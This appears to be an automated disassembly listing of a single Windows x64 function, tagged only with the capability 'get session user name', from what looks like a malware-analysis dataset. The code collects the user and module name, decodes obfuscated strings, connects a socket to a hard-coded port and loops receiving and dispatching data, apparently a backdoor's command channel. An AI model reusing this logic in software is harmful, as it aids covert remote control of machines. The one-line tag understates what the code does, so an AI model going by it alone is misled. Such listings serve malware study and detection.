Function at 0x14000db30
Capabilities:
Get session user name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x49a0]
mov eax, 0x4aa0
call fcn.1400168e0
sub rsp, rax
mov rax, qword [0x140028058]
xor rax, rsp
mov qword [rbp + 0x4990], rax
call fcn.14000c140
lea rcx, [rbp + 0x661]
xor edx, edx
mov r8d, 0x104
mov byte [rbp + 0x660], 0
call fcn.140011a90
lea rcx, [rbp + 0x551]
xor edx, edx
mov r8d, 0x104
mov byte [rbp + 0x550], 0
call fcn.140011a90
mov esi, 0x208
lea rcx, [rbp + 0x771]
mov r8d, esi
xor edx, edx
mov byte [rbp + 0x770], 0
call fcn.140011a90
call fcn.140004240
lea ecx, [rsi - 6]
lea rdx, [rbp + 0x3b0]
mov r15, rax
call qword [rax + 0x48]
call fcn.140003b90
call fcn.14000a9a0
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x660]
mov dword [rsp + 0x30], 0x104
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea rcx, [rbp + 0x550]
call fcn.14000b020
lea edx, [rsi + 1]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x14000dc8d
mov r8d, esi
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000dc84
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasw ax, word [rdi]
mov rdx, rbx
mov qword [rsp + 0x48], 0
not rcx
lea r8, [rcx - 1]
lea rcx, [rsp + 0x48]
call fcn.14000a820
test eax, eax
jle 0x14000dc84
mov rdi, qword [rsp + 0x48]
cmp eax, esi
lea rcx, [rbp + 0x770]
cmova eax, esi
mov rdx, rdi
mov r8d, eax
call fcn.14000fa50
mov rcx, rdi
call fcn.14000f7a4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rax, str.JzGgfKWpc4PVfMEuS1y9PIuiS9QAyQ2_PjXXLdhyHTWXLJ0VDxMsdwznQfexTDswMkuosGJ3BIqL1CGQP4Yg
lea r13, str.0Ojcm6F1oAD3PysvRq7zBcRItomMfFUFX6CODjdHCxAUQQKAGET1O1kEPuLMRThaBY2pkrq7YXdxjgsgCc7pKfEKN5VhY6O9J0b5wuQzqA0
mov qword [rsp + 0x50], r13
mov rbx, rax
mov qword [rsp + 0x40], rax
or rcx, 0xffffffffffffffff
xor eax, eax
mov r9d, 2
mov rdi, r13
lea edx, [rax + 1]
lea r8d, [r9 + 4]
repne scasb al, byte [rdi]
mov rdi, rbx
not rcx
lea rsi, [rcx - 1]
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
not rcx
lea r12, [rcx - 1]
mov ecx, r9d
call qword [r15 + 0x40]
or rcx, 0xffffffffffffffff
mov rdi, rbx
mov r14, rax
xor eax, eax
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], rax
mov eax, 2
mov word [rbp + 0x180], ax
xor eax, eax
repne scasb al, byte [rdi]
mov rdi, qword [rsp + 0x40]
not rcx
dec rcx
je 0x14000dd1f
mov rcx, rdi
call fcn.14000f980
jmp 0x14000dd24
mov eax, 0x2290
movzx ecx, ax
call qword [r15 + 0x58]
mov rcx, r13
mov word [rbp + 0x182], ax
call qword [r15 + 0x30]
mov rbx, rax
test rax, rax
jne 0x14000de4c
mov rcx, r13
call qword [r15 + 0x60]
lea r9, [rsp + 0x30]
mov edx, 0xffff
mov r8d, 0x1002
mov rcx, r14
mov dword [rsp + 0x30], 0xc800
mov dword [rbp + 0x184], eax
mov dword [rsp + 0x38], 0xc800
mov dword [rsp + 0x20], 4
call qword [r15 + VariantCopy]
lea r9, [rsp + 0x38]
mov edx, 0xffff
mov r8d, 0x1001
mov rcx, r14
mov dword [rsp + 0x20], 4
call qword [r15 + VariantCopy]
lea r8d, [rbx + 0x10]
lea rdx, [rbp + 0x180]
mov rcx, r14
call qword [r15 + 0x68]
cmp eax, 0xffffffff
jne 0x14000df75
lea eax, [rsi + 1]
lea rdx, str.0Ojcm6F1oAD3PysvRq7zBcRItomMfFUFX6CODjdHCxAUQQKAGET1O1kEPuLMRThaBY2pkrq7YXdxjgsgCc7pKfEKN5VhY6O9J0b5wuQzqA0
movsxd rcx, eax
add r13, rcx
mov qword [rsp + 0x50], r13
cmp byte [r13], bl
je 0x14000dde8
mov rax, r13
sub rax, rdx
cmp rax, 0x410
jl 0x14000e268
lea eax, [r12 + 1]
movsxd rcx, eax
add rdi, rcx
mov qword [rsp + 0x40], rdi
cmp byte [rdi], 0
je 0x14000de12
lea rcx, str.JzGgfKWpc4PVfMEuS1y9PIuiS9QAyQ2_PjXXLdhyHTWXLJ0VDxMsdwznQfexTDswMkuosGJ3BIqL1CGQP4Yg
mov rax, rdi
sub rax, rcx
cmp rax, 0x104
jl 0x14000de35
lea rax, str.JzGgfKWpc4PVfMEuS1y9PIuiS9QAyQ2_PjXXLdhyHTWXLJ0VDxMsdwznQfexTDswMkuosGJ3BIqL1CGQP4Yg
mov rcx, r14
mov r13, rdx
mov rbx, rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rdx
call qword [r15 + 0x38]
jmp 0x14000dca8
mov rcx, r14
mov rbx, rdi
mov r13, rdx
mov qword [rsp + 0x50], rdx
call qword [r15 + 0x38]
jmp 0x14000dca8
cmp word [rax + 0x10], 2
jne 0x14000df81
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
test rcx, rcx
je 0x14000def8
xor edi, edi
nop dword [rax]
mov eax, dword [rcx]
lea r9, [rsp + 0x30]
mov edx, 0xffff
mov r8d, 0x1002
mov rcx, r14
mov dword [rsp + 0x30], 0xc800
mov dword [rbp + 0x184], eax
mov dword [rsp + 0x38], 0xc800
mov dword [rsp + 0x20], 4
call qword [r15 + VariantCopy]
lea r9, [rsp + 0x38]
mov edx, 0xffff
mov r8d, 0x1001
mov rcx, r14
mov dword [rsp + 0x20], 4
call qword [r15 + VariantCopy]
lea rdx, [rbp + 0x180]
mov r8d, 0x10
mov rcx, r14
call qword [r15 + 0x68]
cmp eax, 0xffffffff
jne 0x14000df75
mov rax, qword [rbx + 0x18]
add rdi, 8
mov rcx, qword [rdi + rax]
test rcx, rcx
jne 0x14000de70
lea eax, [rsi + 1]
lea rdx, str.0Ojcm6F1oAD3PysvRq7zBcRItomMfFUFX6CODjdHCxAUQQKAGET1O1kEPuLMRThaBY2pkrq7YXdxjgsgCc7pKfEKN5VhY6O9J0b5wuQzqA0
movsxd rcx, eax
add r13, rcx
mov qword [rsp + 0x50], r13
cmp byte [r13], 0
je 0x14000df26
mov rax, r13
sub rax, rdx
cmp rax, 0x410
jl 0x14000e268
mov rbx, qword [rsp + 0x40]
lea eax, [r12 + 1]
movsxd rcx, eax
add rbx, rcx
mov qword [rsp + 0x40], rbx
cmp byte [rbx], 0
je 0x14000df55
lea rcx, str.JzGgfKWpc4PVfMEuS1y9PIuiS9QAyQ2_PjXXLdhyHTWXLJ0VDxMsdwznQfexTDswMkuosGJ3BIqL1CGQP4Yg
mov rax, rbx
sub rax, rcx
cmp rax, 0x104
jl 0x14000df61
lea rbx, str.JzGgfKWpc4PVfMEuS1y9PIuiS9QAyQ2_PjXXLdhyHTWXLJ0VDxMsdwznQfexTDswMkuosGJ3BIqL1CGQP4Yg
mov qword [rsp + 0x40], rbx
mov rcx, r14
mov r13, rdx
mov qword [rsp + 0x50], rdx
call qword [r15 + 0x38]
jmp 0x14000dca8
mov rcx, r14
call fcn.140003610
test eax, eax
jns 0x14000df92
mov rcx, r14
call qword [r15 + 0x38]
mov rbx, qword [rsp + 0x40]
jmp 0x14000dca8
lea r9, [rbp + 0x770]
lea r8, [rbp + 0x550]
lea rdx, [rbp + 0x660]
mov rcx, r14
mov dword [rsp + 0x58], 3
mov dword [rsp + 0x5c], 5
mov qword [rsp + 0x78], r14
mov dword [rsp + 0x70], 1
call fcn.14000b980
lea rcx, [rbp + 0x190]
call fcn.14000fda0
mov r13, qword [rbp + 0x190]
movzx eax, word [rbp + 0x198]
mov rcx, r13
mov qword [rsp + 0x60], r13
mov dword [0x14002e410], 0
xor edi, edi
xor ebx, ebx
imul rcx, rcx, 0x3e8
add rcx, rax
mov qword [0x14002e418], rcx
call fcn.14000fbe0
mov r12d, eax
mov eax, 0x66666667
imul r12d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r12d, ecx
mov dword [rsp + 0x38], r12d
lea rcx, [rbp + 0x1a0]
lea rdx, [rsp + 0x70]
mov r8d, 0x208
call fcn.14000f470
xor ecx, ecx
mov dword [rsp + 0x58], 3
mov dword [rsp + 0x5c], 5
call fcn.14000fdb0
lea ecx, [r12 + 0xa]
mov r11, rax
sub rax, r13
movsxd rdx, ecx
cmp rax, rdx
jl 0x14000e0a6
mov r13, r11
mov qword [rsp + 0x60], r11
call fcn.14000fbe0
mov r12d, eax
mov eax, 0x66666667
mov rcx, r14
imul r12d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub r12d, eax
mov dword [rsp + 0x38], r12d
call fcn.14000b570
lea rax, [rsp + 0x58]
lea rdx, [rbp + 0x1a0]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [r15 + reloc.OLEAUT32.dll_SafeArrayGetElement]
test eax, eax
js 0x14000e24d
jle 0x14000e031
lea rcx, [rbp + 0x981]
xor edx, edx
mov r8d, 0x4000
mov byte [rbp + 0x980], 0
call fcn.140011a90
lea rdx, [rbp + 0x980]
xor r9d, r9d
mov r8d, 0x4000
mov rcx, r14
call qword [r15 + 0x10]
test eax, eax
jle 0x14000e24d
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x48]
lea rcx, [rbp + 0x980]
mov edx, eax
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x30], 0
call fcn.140003930
test eax, eax
je 0x14000e031
test rbx, rbx
jne 0x14000e150
test edi, edi
jne 0x14000e150
mov rbx, qword [rsp + 0x48]
mov edi, dword [rsp + 0x30]
jmp 0x14000e196
mov r12d, dword [rsp + 0x30]
mov r8d, 0x42
mov rcx, rbx
lea r13d, [r12 + rdi]
lea edx, [r13 + 1]
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov rsi, qword [rsp + 0x48]
test rax, rax
je 0x14000e18d
movsxd rcx, edi
mov r8d, r12d
mov rdx, rsi
add rcx, rax
mov rbx, rax
call fcn.14000f470
mov edi, r13d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov r12d, dword [rsp + 0x38]
mov r13, qword [rsp + 0x60]
cmp edi, 4
jle 0x14000e031
nop dword [rax]
mov esi, dword [rbx]
mov r12d, dword [rsp + 0x38]
mov r13, qword [rsp + 0x60]
lea eax, [rdi - 4]
cmp esi, eax
jg 0x14000e031
xor eax, eax
lea edx, [rsi - 4]
lea rcx, [rbx + 8]
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x48]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x30], eax
call fcn.14000a5d0
test eax, eax
jne 0x14000e20e
mov r12, qword [rsp + 0x48]
test r12, r12
je 0x14000e20e
mov r8d, dword [rsp + 0x30]
mov rdx, r12
mov rcx, r14
call fcn.14000d8b0
mov rcx, r12
call fcn.14000f7a4
mov eax, 0xfffffffc
mov rcx, rbx
sub eax, esi
add edi, eax
test edi, edi
jle 0x14000e231
lea eax, [rsi + 4]
movsxd r8, edi
movsxd rdx, eax
add rdx, rbx
call fcn.14000f470
jmp 0x14000e23a
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbx, rax
cmp edi, 4
jg 0x14000e1b0
mov r12d, dword [rsp + 0x38]
jmp 0x14000e031
mov rcx, r14
call qword [r15 + 0x38]
call fcn.1400022a0
mov r13, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
jmp 0x14000dca8
mov rbx, qword [rsp + 0x40]
mov rcx, r14
call qword [r15 + 0x38]
jmp 0x14000dca8